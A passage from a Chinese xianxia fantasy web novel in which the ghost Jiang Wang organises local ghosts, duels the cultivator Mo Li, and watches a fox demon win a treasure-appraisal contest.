观这女鬼魂力平稳,语言逻辑清晰,一点要魔化的倾向都没有。就这一块木头,能镇住化鬼执念,让鬼二十年不魔化?
江妄歪头微微一笑,白色衣袖猎猎生风,她周身的气流急促起来,“你不尽实。”
女鬼用力稳住身形,强迫自己压下逃跑的冲动,连忙解释,“大人,我绝无欺瞒您的意思!实在没有别的了……”
风声骤然大作,在江妄的魂力把她掀出去之前,一个男鬼飞身上前匆匆阻拦,急声辩白道,
“大人!手下留情!她没骗您!”
江妄扫了他一眼,收敛了魂力,四周安静下来。
今天怎么了,好看的鬼扎堆儿啊。
这男鬼眉目清隽,身着一梅染长衫,又加银灰外罩,温润却不大显眼。正因如此,江妄才没注意,这男鬼其实一直站在女鬼身后不远处。
江妄理理衣袖,好整以暇地看着他,意思就是让他继续说。
男鬼却好像并没有领会江妄的意思,帮女鬼求完情,又扶她站稳,就呆愣愣杵在那儿。
江妄勉强透支耐心,主动问他,
“你怎么知道她没骗我呢?”
“那个……嗯……”男鬼被问,脸上闪过一抹茫然,然后就在那绞尽脑汁地想,眉毛都皱得拧成麻花了。
“……”
所以,你连个理由都没编好,还敢这么贸贸然给人求情?江妄无语。她发现了,这些鬼那个脑子好像都不大好使。
这么一闹,江妄也懒得欺负鬼了,其实她也不觉得那个女鬼敢对自己耍小心思,她不打算纠结这个问题了,正当她想说点别的,男鬼却打断了她。他突然抬头,一双圆眼亮晶晶的,
“大人,我其实也死了挺久了!嗯……从我什么也不记得开始就有十多年了,估计我也是死了二十年的……”青年嗓音里都是找到答案的兴奋。
虽然化鬼二十年不魔化,比起其他的鬼好像是长了点儿,但姐姐不是个例啊,是不是就可以证明她没骗那个大人?
……江妄反应过来,他这是才想好为女鬼求情的理由啊……这反射弧,她也是服气。要是换个比她还不讲道理的,他这番解释就留着魂飞魄散的时候跟空气说吧……
不过,这个不是重点,
“你说什么?你现在什么都不记得了?”重点是,他说什么他都不记得了,记忆残缺到这种程度,早就该魔化了。可无论是这个男鬼,还是刚才那个女鬼,都没有一点魔化的倾向。
“是啊……”男鬼一脸懵然,不明白江妄为什么这么问,好像他觉得什么也不记得是鬼的正常现象。
也是,鬼类是个严重缺乏社会交流的物种。一般就是想尽办法去达成自己的执念,然后随着记忆一点点流失,越来越浑噩地飘着,直到除了化鬼执念的生前记忆流失殆尽,癫狂魔化。
他们都自己飘自己的,很少和同类交流,除非有更强大的鬼把他们拘去役使。但像江妄这样一拘能拘一群的,可以说是史无前例。鬼的实力其实都大差不差。交流就更少。
江妄明白了,男鬼能看见其他鬼魔化,所以他知道自己和女鬼二十年都不魔化是不正常的。但是,他失去生前记忆,相当于没有常识,又没和别的鬼交流过,所以他不知道失去记忆又不魔化是不正常的。
江妄想通这些也就在一念间,她接着问,“那你的化鬼执念呢?”不会也不记得了吧……对啊,不记得了,所以才没有魔化么……
“……什么叫,化鬼执念?”男鬼很疑惑的样子。
果然!他是因为化鬼的执念不记得了,才没有发疯魔化。
失去为人的经历,又只余让人甘愿堕鬼的执念,才会疯、狂、成魔。
而他失去了所有的所有,便只宛若新生儿一般,以鬼的身份再看一遍人间而已,而且他这一遍看的还是又快又好。好像他的“化鬼”二字里不是绝望未干的血与泪,不是挣断阴差铁索时的痴狂怒吼,而是明媚温暖的新生。
那你干嘛不去投胎呢?不是一样的嘛……江妄腹诽。可……没有执念,他又怎么会化鬼呢?这不是个悖论吗……
先不管,这男鬼是个全然失忆的,那……江妄把视线转到女鬼身上,
“你呢?你的执念是什么?”
然后江妄在女鬼脸上收获了和男鬼同款的懵。想来是她也不知道自己二十年不魔化的真实原因,便全都归功于那个灵檀木了……
很好,这俩悖论鬼。
所以,他俩是不会魔化了?这么一想也挺好?
不对不对!江妄甩头,把这诡异的羡慕甩掉,挺好什么啊挺好,要是不要执念了,当个什么鬼啊?还是那句话,为什么不去投胎呢?
江妄走进后面的鬼群,问了几个鬼,证明了不是汝陵的鬼全都没有执念不魔化后,松了一口气。看来,奇葩就那两个。
江妄又走回女鬼身前,清了清嗓子,面带微笑地看着女鬼,
“你挺好的,以后愿不愿意给我做事儿?”
……
女鬼抬头,看了看江妄,马上又垂头应道,
“属下愿为大人效力。”
很好,江妄很满意女鬼的识趣儿。马上就开始拿出整改的派头,
“两个任务。第一:带鬼灭杀所有已经魔化的鬼,这件事最优先解决;第二:统计汝陵所有鬼的生前实力、鬼龄,以及大致的执念,然后针对每个鬼的情况做一个魔化时间预判。”
“是,大人。”女鬼行礼。
“你辅助她。”江妄看向男鬼。
这男鬼鬼气不重,所以她先前没怎么注意。现在细看下来,江妄发现他实力绝对不弱,甚至隐隐比那女鬼还要强。就是看起来有点不靠谱。
这两只奇葩鬼,无论相貌还是实力皆是一流,生前绝对不可能是无名之辈。真是……如果说江妄是天下第一想不开之人,那这俩鬼,就是天下并列第二想不开的。
不过江妄没去好奇。
江妄其实是个好奇心很重的人,但她的好奇心又很奇怪,不能以常理度之。有可能大家都觉得无聊的事儿,她去好奇,而大家都好奇死了的事儿,她又懒得理。又或者前一秒江妄还对一件事好奇得抓心挠肝,后一秒便觉无趣,抛之脑后了。
“是,大人。”男鬼依样行礼,点头应是。
这时,女鬼有些犹豫地想说些什么,“大人……”
“你说。”
“大人,那魔化时间快到了的鬼……”
江妄神情都没变一下,
“集中处理。”
此话一出,鬼群立刻激动起来,各种声音尖利,沸腾的鬼气不断翻涌。
江妄嘴角扯开了一个不耐烦的笑,霎时,一阵强力的冲击波把所有鬼撞飞在隔气罩上,随后,一层一层的鬼又噼里啪啦地往地上掉。这只发生在那一瞬间。直到所有的鬼都掉完了,江妄扬起的长发才慢悠悠地,落回江妄肩上。
此一出,鬼群又安静了。
“还有,什么问题?”
那当然是,没有问题。
“这所有登记相关的一切,都由他们俩管,”江妄抬起右手,指了指女鬼,
“有谁不服管制,或者瞒报信息,”她回手揉捏着左肩膀,轻轻歪着头,
“就地帮他解脱。”
鬼气又开始轻轻地翻涌起来,但这一次鬼群安静无比。
江妄没管,再次转头看着女鬼,
“对了,”江妄笑笑,“姐姐想我怎么称呼你啊?”
女鬼战战兢兢,连忙摆手,“不敢当大人一句姐姐,如何称呼全凭大人意愿。”
“那,跟我姓?”
“属下的荣幸。”
“我姓江,你就叫……江,”江妄一拍手,“叫江大宝吧!”
“……”
“怎么样,是不是很好的名字?”
“……”
那女鬼此时想的可能就是,要不是打不过……
江妄还没玩够,又把视线投向男鬼,就在她说出“江二宝”的前一刻,那男鬼于呆中机灵了一回,赶忙道,
“属下名唤路清嘉。”
“嗯?你不是全忘了?还记得自己叫什么?”江妄合理质疑。你看,江大宝就不记得。
“我只记得‘路清嘉’这三个字。”男鬼一脸坦荡。
行吧,江妄有些失望,但很快就振作起来,她还没训完鬼呢!
“既然,魔化的鬼,我们自己内部处理完了,那就轮不到外人插手了。”江妄掷地有声。
鬼之所以社会地位低下,根源在于无论什么样的鬼,总有魔化的一天。而一个杀红了眼的疯子走到人前去谈人格与尊严,无异于痴心妄想。
想想人或者妖与动物的差别,无非“神智”二字。
而内部处理掉即将魔化的鬼,就相当于守住了整个鬼类的“神智”。这样,鬼这个生物类别,才有了最基本和别人谈判的本钱。
这样想来,鬼,真是不明智的。为了这一世的甜或苦,放弃那么多可以重新来过的机会,算着仅有的时限,眼睁睁看着自己失去记忆,变成自己都不愿认识的模样。
这些道理,江妄又何尝不懂,江妄不能再懂了。可是……
可是不是所有的事情,都可以用道理来解决的。
……
“有仇报仇,有怨报怨,我不阻拦。大家都是鬼,等到后期我们体系健全了,甚至会专门组织鬼,去合力完成每个鬼的执念,当然,你的执念得合情合理。”
“这样,如果还有人类,无缘无故地杀鬼、役使鬼。那我们为什么不可以,杀了那个人呢?我们又凭什么要东躲西藏?”
没有什么存在就是错误,也没有什么道路就是正确,只是不同的选择罢了。
任何人都要为自己的选择买单,这点江妄赞同,但不代表她就愿意承担一些额外的,别人强加给她的,不公。
开玩笑啦,江妄还没有中二到要救苦救难,愤世抗俗的地步,不过是因为……
她现在是鬼,那么提升自己社会地位的最有效办法,不是她自己一个人多么多么牛叉,而是拉动这个整体的影响力。而她自己又恰恰是这个整体中最强的那一个……这样才刺激嘛。
就算哪一日她暴露身份了,依然可以光明正大在世间行走,这才是她最根本的目的。
江妄生来就受不得委屈,她不想有任何东西束缚住自己。鬼的身份又如何,哪怕她只在这世上待一天,也得是舒舒坦坦的。
江妄从不后悔自己的选择,任何选择。因为,她会把自己的每一个选择过得不令人后悔。
她的生命里没有阴沟独木桥,条条都是阳关大道。
“我们被人看不起,被人到处追着打着,是因为我们不会整合力量,而不是我们本身力弱!那些门派弟子,多少,是没有结丹的?他们不是照样聚在一起历练,到处惹眼?我们可比他们强多了!只是我们留在这世上的时限少了,那又如何?!蚍蜉朝生暮死,尚且不怨,我们在这世上呆一天,
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就是要有一天的尊严!”
“我们要让他们明白,鬼,和人、妖一样,是一个种族!有存活世间的权利!”
……
小演讲句句戳在鬼的心窝子上,鬼群又一次沸腾了,嗬嗬的怪叫不绝于耳,根本就是灵异版的传销大会现场。
只有江大宝很淡定,“大人,您的初衷是好的。可是斩鬼已经成了千年定律,一时怕是不好更改。再说,我们约束自己,人类又如何能知?而且,我们只是汝陵这一小部分鬼,并不能代表整体……”
她没有把话说完,想必也反应过来了,这位大人,就是有代表整个鬼类的实力。
江妄很满意自己的眼光,江大宝确实不错,耐心也多了几分,她虚虚地拍拍江大宝的肩膀,
“你不用担心,那是我该考虑的事儿。千年定律?到我这也该改改了……说到这个,你哪都挺好的,就是这一口一个大人,我听着别扭。”
别误会,江妄绝对不是主张民主,不喜等级的人。
江大宝有点懵,“那……”
“我以后可是要统一鬼界的!”
“嗯。”江大宝点头,眼神清澈,好像在说“然后呢?”
江妄心想,她怎么不上道呢?唉,有点怀念张扶风了。
“我要当鬼王!”
“嗯。那我们叫您……”
“陛下啊!”
……
江妄自己好像也有点儿尬住了,立刻转移话题,
“咳咳,昨天,谁在这附近,有看到发生什么吗?”
众鬼面面相觑。过了一会儿,有一个鬼瑟瑟缩缩地举起手,
“那个,昨天晚上,我看到一道红色的影子从这里窜出去,那影子,应该是……是个妖。”
妖?果然……
“哪个方向?”
“那边。”
嗯?往城郊去了?
江妄随手一弹,一缕魂力直接进入那个回答问题的鬼体内,那个鬼的魂体肉眼可见地凝实了些许。
听着那个的鬼千恩万谢,江妄一挥手,魂力切断自己的两缕头发,分别交给江大宝和路清嘉,
“有事燃此发丝,结通信印。”
江妄身形一闪,往城郊去了。
幸好只有第一次需要燃烧发丝。不然,江妄心想,自己早晚得秃。
那并不是简单的头发,里面有江妄本命气息。所以燃烧后,通信印会默认是气息本人授权。
其实,这样有把行踪暴露给了这两只鬼的风险。但没办法,江妄可以时时拘魂,他们俩却没有办法联系上江妄。
他们是鬼,目前又没人研发鬼类的通讯器,就只能这样。再说,江妄自恃绝对实力,哪里会想那么多。
汝陵的城郊并不算荒凉,时有人家稀稀落落升起炊烟。江妄一开始是顺着那只鬼所指的方向,后来,完全就是循着妖气。
这件事很不对劲,那只妖好像有意遮掩气息,又并没有彻底抹去妖气。那到底是想让人发现,还是不想?
直到城郊,妖气就开始淡了,几乎于无,这说明……那只妖,压根没离开汝陵。只是因为什么原因来到了城郊,又回到了城里。
是为了找下一个猎物吗?
江妄已经准备回去了,哪想视线往灌丛那边一扫。有几棵矮树七零八落,明显有被外力破坏的痕迹。
江妄飞身前去探查,可以确定,是那只妖打斗的结果。只是,和那只妖打斗的另一方……
那片矮树之类的植被都有被控制妖化的痕迹,有一些树枝妖化变长,还没有收回去,与旁边短短的枝干极不相衬。地上还有藤蔓拖曳的深痕,把旁边的土都翻出来了。
是树妖?即便不是,也是植物类的妖怪了。
江妄心里有了数,刚一转身,骤然感到背后一股别样的风。
江妄轻轻一笑,跟上来个小尾巴。
她单手结印,魂力慢慢在右手聚集。差不多了!她没有任何预兆地转身抬手,白色衣袖于风中翻滚,在月色浸染下却显得很温柔。
可当江妄看清那边树后的小尾巴时,她攻击的姿势顿住了,掌心凝聚的力量在夜风中无声地化开。
是陌离啊……
江妄笑意不变,绷紧的脊背却松了下来,懒懒道,
“公子大半夜不睡觉,老远地跑来赏月,真是好雅兴啊!”
陌离没有说话,风吹过他耳侧没拢上的发丝,四下安静得只剩夏虫的鸣叫,和草窠里不知名的动物窸窸窣窣的响动。
江妄离得远看不清他的面容,但是能清楚的看到,他眼睛里盛着满满的月光。
“你不说话,我可回去了,都困死了……”
江妄作势要回去,陌离终于开口,
“更深露重,姑娘又为何在这?”
江妄:“看月亮。今夜月色很美,不是吗?”末了又作疑惑状,“难道公子不是?”
“是与不是,既见分晓!”
说罢,陌离竟拔出减翠,向江妄一剑刺来。
月色如水,一点寒翠流光,倒是极美。
江妄神色不改,嘴里却委屈地不得了,
“公子长得一表人才,想不到如此不讲道理,我们说话说得好好的,怎么突然说动手……”
江妄踩着暗引蕖香歩脚下生风,还有闲心聊上几句,哪料到减翠虚影一晃,回勾直奔江妄要害,只得腰间用力,偏开脸险险躲过减翠。“……就动手。”
江妄把没说完的话补全。
然后也认真应对起来。
江妄没有随便用魂力,陌离怎么说也是大乘境,万一看出来个一二……
可是,不用魂力,她光靠躲避怎么能从陌离手中脱身啊?愁鬼啊。
江妄没想到的是,不过一炷香的时间,她一个闪避后翻,竟然跳出了减翠的攻势范围。
……
陌离是不可能留手的。
那么,只有一种可能:陌离,修为后退了。看他灵力强度,不过元婴左右。
其实她在旅店刚见陌离时就看出他境界元婴了,但她一直以为那不过是出门在外的伪装罢了。现在看来,怕是真的。
这一年,究竟发生了什么?
还没等江妄想明白,陌离就神色凝重地开口,
“你,到底是谁?”
5. 第 5 章
江妄心下一惊,难道陌离看出了寒星门的身法?
不可能。江妄立刻又在心中否定。陌离一向在遥岑宗深居简出,连家乡汝陵人都少有来往,更别提和北界寒星门的人有过接触了。
和他有过接触的北界人,怕是只有自己了。
而当年自己和陌离只是打过一场,时隔百年他能不能记住这件事都是问题,更不可能通过身法看出来。
即便陌离是过目不忘,也不可能。
江妄刚刚用的是暗引蕖香歩。所谓暗引蕖香,乃是以退为进,暗藏杀机。
而江妄当年不过十九,正是意气风发,哪里懂得“柔克刚”之道?但凡出刀,便是直迎而上,从不退一步。自然不会使出此法。
心里有了底,江妄仍然是那副随意姿态,
“公子问我,是想和我交朋友?”不等陌离回答,就自顾自道,
“我是俍业人,家中世代都是巫师。”
这倒也解释得通,俍业巫族是南界少有的独立部族,于地陷之处隔世而居。而巫术,顾名思义,自然不是吸纳天地灵气,以灵力功法自御。
巫族人一般不会外出,即便外出,不愿暴露自身术法也是情理之中。
陌离不语。那姑娘的身法自己从未见过,的确可能是巫族人。但也可能是,北界人……
但可能确实不是鬼。若真是,那她至少是化神往上走,化神境的鬼,怎么可能。
不是就好。
陌离觉得自己未查明情况就动手,确实是冲动了。
其实,他平时即便遇见鬼,也并不像其他修士那样直接出手。就算是那鬼已经杀了十个八个了,只要它不疯到自己头上,他也一般不管。
那些修士都说行义举,恪道心。偶有违背,轻则修为不前,重则生出心魔来,一步一步堕落为魔。
造物主给了人一颗柔软的肉心,一身温热的血液,让他们骨子带里着悲悯和情义。却又坏心眼地将利、欲与他们伴生,时时诱导他们蒙住良善,拥抱罪恶,然后再血淋淋地掀开迷雾,让错恶直面本性,收获折磨许多。
再坏的人也是人啊。也可能他死不悔改,永远不觉得自己错了。但是,他总是没法剔掉属于人的骨,抽干属于人的血。哪怕那千万分之一的悔再稀释千万倍,悔也是存在了。
修士修士,悟道修真,一丝愧悔都会无限放大,最后动摇心境。
更何况那些修士大多读着仁义礼智信长大,门派家族教导除暴安良修行,真是好人中的好人了,他们的悔也来得更轻易。所以他们日日循规蹈矩,不敢行差踏错丝毫,唯恐毁了修行。
问心无愧啊,方能万山无阻。
但是这些,对陌离好像不太适用。他从来没有愧过、悔过什么。一点点一点点都没有过。好像他不配为人。
他有人的皮相,却没有人的骨、人的血、人的眼,和人的心。
他的言语、举止、方方面面,无限趋近于人,还是世俗里极其推崇的那种好人,整个南界谁见了都要称一句“端方公子”、“温雅仙君”的那种好人。
可尽管无限趋近,到底也只是像,而不是。
画一张皮容易,仿一张相也不难,哪怕骨血都可重铸,但要匪心生肉,却是难。
可今日,不知是怎么了,一看到那个略显轻浮的白衣姑娘满身鬼气,陌离心下情绪难辨,直接出了剑,好像着急证明什么。
陌离直说,
“我见姑娘身上鬼气森森,一时误会,还望见谅。”
江妄心道,果然!陌离这狗鼻子。不过,他闻到的应该不是自己的鬼气,而是刚刚江大宝、路清嘉他们沾到自己身上的。
她面上却丝毫不显,笑呵呵地摆手,“好说,好说……”
陌离用力看了看江妄,好像把眼神聚焦颇费力气,
“夜里阴气重,鬼类常有出没。为保安全,姑娘尽量不要独行。”
江妄一愣,陌离这是……在叮嘱自己?但她迅速收起惊讶,又摆上那副嬉笑面孔,
“不要独行?那……我下次要出去,便邀公子同行?”江妄朝他眨眼。
“好。”话不经大脑,自己就从嘴边溜出来,陌离说完这些自己也愣了。
这姑娘实力很强,绝不在现在的自己之下,没有同伴那也是安全极了,自己的提醒宛如废话。
可自己不仅说了这废话了,还应允与她同行。最奇怪的不是她,是自己。
江妄却不给他反悔的机会,直接敲定了,
“那这么说定了!敢问公子名讳?师从何门何派?”
要是平时,陌离就直接回答“遥岑宗陌离”了,并不会因为什么所谓的“仙君”名号而忌讳。
可现在,自己只有元婴实力。
大乘境飞升历劫历的是心境。
大乘境已经是下界的实力最强了,想移山填海都可以,想要做什么,自然有一万种方法可以达成,心又怎么会动?自然没什么好历的。因此,天道会把应劫者的实力压到元婴境。
江妄两年前年就是如此。
陌离回答,“在下黎墨。遥岑宗弟子。”
黎墨?这是一点脑子都不想动啊……
江妄故作夸张,“哇,遥岑宗!就说公子非凡,竟是遥岑宗弟子!”
陌离略点点头。二人说着,一路往城中走。
这二人各有神通,但谁也没提要御风提速,就那么跟凡人一般,一步一步走着。
风很静,拂过树叶时只有轻微的沙沙声,月色轻柔,江妄连说话都不自觉地放轻。
“那宿芳宫一案,公子可看出什么?”
陌离答得保守,“丹田衰竭,想必是被凶手夺了修为。”
他没有说是“邪修”,只以“凶手”带过。
江妄心下了然:陌离也对玄风宗的结论持保留意见啊……
二人不再言语,只静静地走着。
江妄边走边想刚刚在城郊看到的,不知觉和陌离已经到了汝陵城门口,被城门驻守的玄风宗弟子拦住才回过神来。
那弟子可能看出两人气度不凡,说话也挺客气,一拱手,
“城内在戒严,而现下天色已晚,二位道友还请明日进城。”
江妄心里在咆哮,他们,为什么要光明正大地走城门啊?
光顾着走路了……真是,麻烦……
江妄刚想耍无赖,陌离却直接从储物袋里拿出了个什么递给那个守城弟子。
那位弟子看后神色大变,好像有些惊惧又或者是什么别的情绪,刚想张嘴,陌离就开口止住他的话头,
“这是我师父的腰牌。在下途径至此,听说宿芳宫出了命案,特来查看一番。”
那弟子弯腰直道“师兄辛苦”,热情地不得了,还要去通传玄风宗的人迎接,被陌离以“不想打草惊蛇”为由拦住了。
江妄算是明白,宿芳宫那波人为什么让陌离看尸体了。
遥岑宗的身份,可不就是万能?
假如玄风宗是地方的官方机构,那么遥岑宗就是整个南界的中央总辖。一件地方命案,却惊动中央来人调查,自然要心中打鼓。
江妄到也没有露出什么不屑的情绪,人情世故嘛,她不能再懂了。只是她也好奇,是什么样的腰牌?陌离的师尊可是遥岑宗的老祖宗,且不说那位老祖有没有腰牌这种时髦东西,就算有,陌离刚刚要是真的拿出那位老祖的腰牌,那守城弟子岂非要吓晕了?
江妄这么想着,问道,
“公子刚刚拿出的是?”
陌离:“自然是我师父的腰牌。”
江妄:行。
……
随着他们离市中心越来越近,路边灯火也渐渐密了起来,虽是夜里,也挡不住人烟生气。
人间大概是有一种神奇的魅力吧!难怪总有那么多的人眷恋执迷,不愿离去。
江妄不经意侧头,眼神瞟到陌离,就再也没有看向别处。
只见公子端方,执一长剑,步履翩然。
那些门店前的红纸灯笼,氤氲出令人迷醉的光来,公子侧容刀削般锋利,却在这有些欺骗性的光芒下格外晃眼。看一眼,就是这世间所有浮华与执念。
他似有所感轻轻偏头看过来,光华浮在眼底,是说不尽的温柔。但只要你保持清醒,细细观察,就会发现,他眼睛里是绝然的空阔,什么也
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没有。
陌离的眼睛里总是带着光的,月光、灯光,又或者,是剑光。可光什么的,到底都是虚的啊……
他从没把什么人看进眼里过。
果真是个瞎子。
江妄不知想到什么,险些气息不稳。
到了旅店,江妄开开心心说完“回见”往楼上走,就听陌离叫她,
“姑娘,如何称呼?”
声音不大不小,刚刚好让江妄听到。
……
真是奇也怪哉,陌离问她名字诶。江妄低下头,扯出一个有些怪异的笑。
不知过了多久,白衣女子按着楼梯扶手,回头嫣然一笑,
“公子可是记好了。我姓江。”江妄转回头,继续往楼上走,带着恶意轻声道,“叫江大顺。”
……
翌日,整个汝陵都是玄风宗抓捕邪修的公告,一时间风声颇紧,宿芳宫的事暂时是告一段落。
“现在出了这样的事情,鉴宝大会还能照常举行吗?”
“那肯定是照常,你没看今早玄风宗又来了一大批弟子,想来就是维护大会间的秩序的。不然,只继续查案就行了,不用来这么多人吧。”
“邪修真的很可怕……我听说啊,那个宿芳宫弟子,死的可惨了……”
“是啊,师妹,你修为不济,要不还是早回宗门吧。”
“你是要害师妹吗?她一个人回去岂不是更危险?”
“现在开始,所有人三人一间房住。”
……
江妄吃着早饭,这个“鉴宝大会”可是最近的高频词啊,她立刻叫来了店小二。江妄也不废话,直接掏出一颗灵石。至于这灵石的幻象能维系到什么时候,就不是江妄能知道的了。
店小二的脸立刻笑的像是秋天的菊花,
“姑娘,有什么是我能帮您的吗?”
江妄:“鉴宝大会,是什么?”
店小二非常诧异,“姑娘是南界人吧?”
“自然。”江妄没有过多解释。
……
店小二也识趣不问,开始科普,
“鉴宝大会,就是举办方出一压物,邀请各界修士进行比试,赢者便可以获取这件压物。一般都是各地修真名门望族举办鉴宝大会,一来展示实力,二来吸纳新鲜血液。”
“这一次我们汝陵,就是陌家举办,陌家你知道吧,那可是陌离仙君的本家啊……”
江妄当即就明白了,这就是个,显摆大会啊。
名门望族,顾名思义,是以血缘维系,与凡人的事多少沾染挂钩。
而那些依灵脉或聚灵气而建的修真门派,像玄风宗、宿芳宫之类,是依修为实力,师徒相续维系的。
那些修真大族,哪怕优生优育,也不可能保证代代天才,甚至有些家主的儿子,连修士都不是,只是没有灵根的凡人。
那么这些家族为保地位资源,除了向各大宗门输送自己的族人这条路(陌离就是最好的例子),还有就是与实力优秀的修士交好。
拿到压物的修士如果是宗门弟子,那代表举办的家族多了一个宗门背景。毕竟,举办家族自身能拿出什么档次的压物,就说明它的交往预期是什么档次。
而在被压物吸引来的众多修士中脱颖而出赢下比试,就说明该赢者就是该家族所期望的结交人选。
而假如拿到压物的修士是个散修,该修士基本上就会成为该家族的高级门客,为其所用。当然这样的情况极少。因为,能达到那个水平的野生修士本就很少,而他们不去加入宗门拿一个正式编制,本身就说明他们志在自由,压根不会去参加这样交易性质的“鉴宝大会”。
有的人可能要问了,那我拿了压物就跑,不给那个家族干活呢?
世间,从来没有白拿的东西。
有一些规则,也从来不需要摆到明面上来。
你不遵守,不要怪世界复杂肮脏,只该怪自己天真愚蠢。
但有一句话,是忘了说的。
当你有了绝对的实力时,就可以凌驾于一切明明暗暗的规则之上。
八方湖泽,四面山堑,任君取用。又何谈“白拿”?
6. 第 6 章
江妄后面几天就没看见陌离了,她每天都忙着三件事:写信,送信,和收小弟。
白天写,晚上送。半个南界的宗门都跑遍了。反正她用魂体赶路相当快。
大概就是告诉他们自己的管鬼事宜,以及,以后不用人类插手了,否则则后果自负之类的。其实这就是向人类宣告鬼类自成一界,主张鬼权。
江妄以鬼王自居,无鬼不从。那是夜夜在不同的地界上搞小演讲啊,后来越说越熟练,给那些鬼整的群情激昂,呜嗷乱叫,导致各地的鬼气监测轮流超标。
江妄可不管那些宗门开了多少次紧急集会。你来我就跑,我换个地方接着讲,鬼多力量大,她不带怕的。
魔化小册子的登记也进展地相当快。江妄还亲自处理了第一批即将魔化的鬼,当场展示了什么是无痛安乐解脱,反对整改的鬼声越来越少。
鬼啊,再怎么说曾经也是人,哪有几个情愿自己变成一个疯子呢?还不如无痛解脱。
而且,如果自己的执念合乎情理,鬼王还会派鬼帮忙,多好?
总之最后,南界鬼类基本上都成了江妄的狂热脑残粉儿。
其实,南北界的鬼是可以乱窜的,毕竟,冥紫江不管。但是,鬼嘛,执念的产物,自然不会离开执念所在地。
所以,江妄一统整个鬼类的愿望算是告吹了。
但其实,统一南界就挺好的了,要是真让江妄去统一北界鬼,她还得遇到不少老熟人呢,再听他们道一两句:“甭管生前干嘛的,死后殊途同归。”,“江妄仙姬,你堕落了啊。”多不好意思。
……
直到鉴宝大会那天。
江妄也去了,想着劳逸结合看看热闹。
江妄正在人群中挤着,还是那身白色窗帘大套装。
台上鼓声震天响,那个宿芳宫的林子煜已经踹下去六个挑战者了,正在原地恢复灵气。半晌,对着台下道,
“可以了。”
人群议论纷纷,却没有修士再上台。
一个长髯飘飘,绣水纹蓝底锦衣,头顶镶银晶玉冠的男子上台。男子神色淡漠,倒也是天人之姿。
这就是陌离的父亲了吧?江妄看着那个男子的面容,心里想着。
蕴含灵力的声音覆盖全场,“若无人再登台,那这条骨鞭便是林公子所有了。”
骨鞭?江妄之前根本没有关心陌家的压物是什么,这时也是随意抬眼,目光跟着陌家主打开盒子的动作。
突然,江妄神色一凛,这骨鞭……
江妄紧盯陌家主的神情,却并没有从他脸上看出什么异样,只得作罢。
她下意识在人群里搜寻陌离的身影,终于……
陌离果然来了。
陌离看着那条神光流彩的骨鞭,它静静躺在宝石盒子里,像是失去了生命。
他摇摇头,真是魔障了,怎么会有这种想法,这骨鞭本就没有生命啊,又何谈失去?
“失去生命”这四个字划过脑海,不知为何,心中骤然涌起片片刺痛,周身颤栗不安。他突然很想,很想得到这条鞭子,然后把它紧紧贴在心口,来抚平那份不安。
他第一次,这么想要一件东西。
这几日怎么了,莫名的情绪这么多,是历劫的缘故吗,修为下降果然容易受外界的影响。算了,何必多想,想要就先拿到手,然后再慢慢找原因。
可是,不说他现在在历劫,修为降至元婴,勿要惹人注目的好。最主要的是,他是陌家人,又怎么参加陌家的鉴宝大会?
江妄看到陌离死死盯着那条骨鞭,却半天不见他上台,心里大概是猜到了陌离不便上台,刚要大喝一声“我来”,却被人抢了先。
一道青年男性的声音传来,拿腔拿调的,字句碰撞间尽是靡丽,尾音微扬,仿佛带着钩子,
“在下姬瀛丘,请林公子割爱了。”
人群缓缓分开,一位红衣公子踱步而来。
那一袭红衣垂感极好,行动间如波浪相催,衣边以金线织就,潋滟如霞光闪耀。一身金饰随着他的步伐,有规律的叮铃作响。
他黑色长发里夹着几缕深红,在阳光下看得很明显,头发半束不束的,仅靠三只金簪勉强露出一张艳绝的脸来。
他骨相优越,薄唇好像天生自带弧度。
但最抓人的是他的眼睛。凤眼纤长,眼尾上挑,一双眼睛却是一点不小,抢光了面容所有的风头。
不是多特别的眼型,瞳孔深棕,也不是什么不同寻常的颜色。
可只要与他对视,便是世间第一份的勾魂摄魄。
红衣高领包裹肩颈,金饰奢华显贵,叫他穿戴来,倒像是浪子穿了礼服,不伦不类。
他说完那句话灿然一笑,满面自得,眸里含情,完全称得上“容色姝丽”四个字。
不像是来比武,倒像是来选花魁。
来人并没有掩盖妖气,更是大大方方报上姓名,自然引得人群议论纷纷。
“姓姬!虞山姬家……是狐族!”
“什么时候,妖修也能来参加鉴宝大会?”
“倒也没有明文规定不行……”
“妖修也是修啊。”
“不愧是狐族啊……这张脸,真是绝了!”
“收收你的口水好吧?人妖相恋没结果的好伐?”
“有这张脸,要啥结果啊……”
“……”
江妄也直直看着姬瀛丘,倒不是她也被那张妖异的脸吸引了,是这妖修的妖气,正是江妄在张扶风死的那天晚上感到的妖气,也是一路指引江妄去城郊的妖气。
她之前一直以为是植物类,没想到竟是狐妖,还是姬家……
那和他打斗的那个就是植物精怪了。是团伙作案,分赃不均内讧了?还是,见义勇为?
总之,要真是他,还敢这么放肆地出现在人前,江妄觉得,要好好教他做妖。
等等,作妖?这词儿是不是有点歧义?
那边陌家主站在台上,没什么反应,不知道在想什么。傻呵呵呆乎乎的,和陌离一个样。江妄心想。
姬瀛丘倒是一点儿不客气,脚尖点地轻跳上台,红色衣摆绵绵拂过台阶边缘。
他站到了陌家主对面,含笑看着陌家主,那眼神,好像陌家主是他心上人一样。
陌家主竟也是直直看着他,缓不过来神儿似的,两人对望,尴尬的只有后面的林子煜。
……
天啊,不会是有什么狗血爱恨情仇吧?江妄两眼放光,不知道是不是该替陌离难过,他爹好像给他找了个后爸……
陌家人也发现自家家主不对劲,赶紧上台想要礼貌送离姬瀛丘,却被陌家主拦住,
“来者是客,姬公子请。”
说罢下台,立刻就被陌家修士拉走了。
姬瀛丘向陌家借了一把剑,比试正式开始。
结果,在所有人都没反应过来的时候,比试就结束了。
林子煜一剑劈过来,姬瀛丘一抬胳膊,徒手,握住了林子煜那高阶灵剑剑身,然后就那么往后一抡,林子煜连人带剑飞出去。直到林子煜人都在台下了,那灵剑发出的一声尖啸还没停。
比试结束。
完虐啊……
那试问,你借剑干嘛呢,反正你都不用的。
最可气的是那个一身骚包红袍的狐妖,双手抱胸,满脸无辜地瞅着林子煜,
“真是抱歉啊,林公子,早知道你……”
他像是很难为情的样子,欲说还休地,最后叹了口气,一只手拄着脸,用食指的指甲轻轻点着自己的下巴。
他红色的袖子堆叠着下垂,露出他深红色的护腕来。
呦呵,这狐妖作风倒是奇怪的很。说他不正经吧,他知道戴个护腕,行动间连手背都露不出来。
说他正经吧,他那个气质……
只听姬瀛丘接着道,“唉,我还麻烦陌家借剑,真是,太不好意思了……”
算了。一言难尽。
